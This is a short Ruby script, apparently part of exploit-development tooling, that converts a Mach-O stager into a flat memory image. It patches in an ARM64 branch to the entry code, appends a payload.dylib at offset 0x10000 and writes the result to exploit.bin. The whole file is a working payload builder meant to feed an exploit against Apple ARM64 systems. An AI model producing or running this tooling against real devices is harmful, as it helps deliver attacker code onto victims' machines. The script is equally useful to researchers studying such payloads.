#!/usr/bin/env ruby
# -*- coding: binary -*-

require 'macho'

stager_file = ARGV[0]
data = File.binread(stager_file)
macho = MachO::MachOFile.new_from_bin(data)
main_func = macho[:LC_MAIN].first
entry_offset = main_func.entryoff

start = -1
min = -1
max = 0
for segment in macho.segments
  next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO]
  puts "segment: #{segment.segname} #{segment.vmaddr.to_s(16)}"
  if min == -1 or min > segment.vmaddr
    min = segment.vmaddr
  end
  if max < segment.vmaddr + segment.vmsize
    max = segment.vmaddr + segment.vmsize
  end
end

puts "data: #{min.to_s(16)} -> #{max.to_s(16)} #{(max - min).to_s(16)}"
output_data = "\x00" * (max - min)

for segment in macho.segments
  #next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO]
  puts "segment: #{segment.segname} off: #{segment.offset.to_s(16)} vmaddr: #{segment.vmaddr.to_s(16)} fileoff: #{segment.fileoff.to_s(16)}"
  for section in segment.sections
    puts "section: #{section.sectname} off: #{section.offset.to_s(16)} addr: #{section.addr.to_s(16)} size: #{section.size.to_s(16)}"
    flat_addr = section.addr - min
    section_data = data[section.offset, section.size]
    #file_section = section.offset
    #puts "info: #{segment.fileoff.to_s(16)} #{segment.offset.to_s(16)} #{section.size.to_s(16)} #{file_section.to_s(16)}"
    #puts "?: #{data.size.to_s(16)} #{file_section.to_s(16)}"
    if section_data
      puts "flat_addr: #{flat_addr.to_s(16)} (#{section_data.size.to_s(16)})"
      if start == -1 or start > flat_addr
        start = flat_addr
      end
      output_data[flat_addr, section_data.size] = section_data
    end
  end
end

puts "start: #{start.to_s(16)}"
branch = `rasm2 -b 64 -a arm "b 0x#{start.to_s(16)}"`
puts "branch: #{branch}"
output_data[0,4] = [ branch[0..7] ].pack("H*")

puts "size: #{output_data.length}"
add_dylib = 0x10000
padding = "\x00" * (add_dylib - output_data.length)
output_data = output_data + padding

payload = File.binread("payload.dylib")
output_data[add_dylib, payload.size] = payload

puts "final size: #{output_data.length}"
File.binwrite("exploit.bin", output_data)

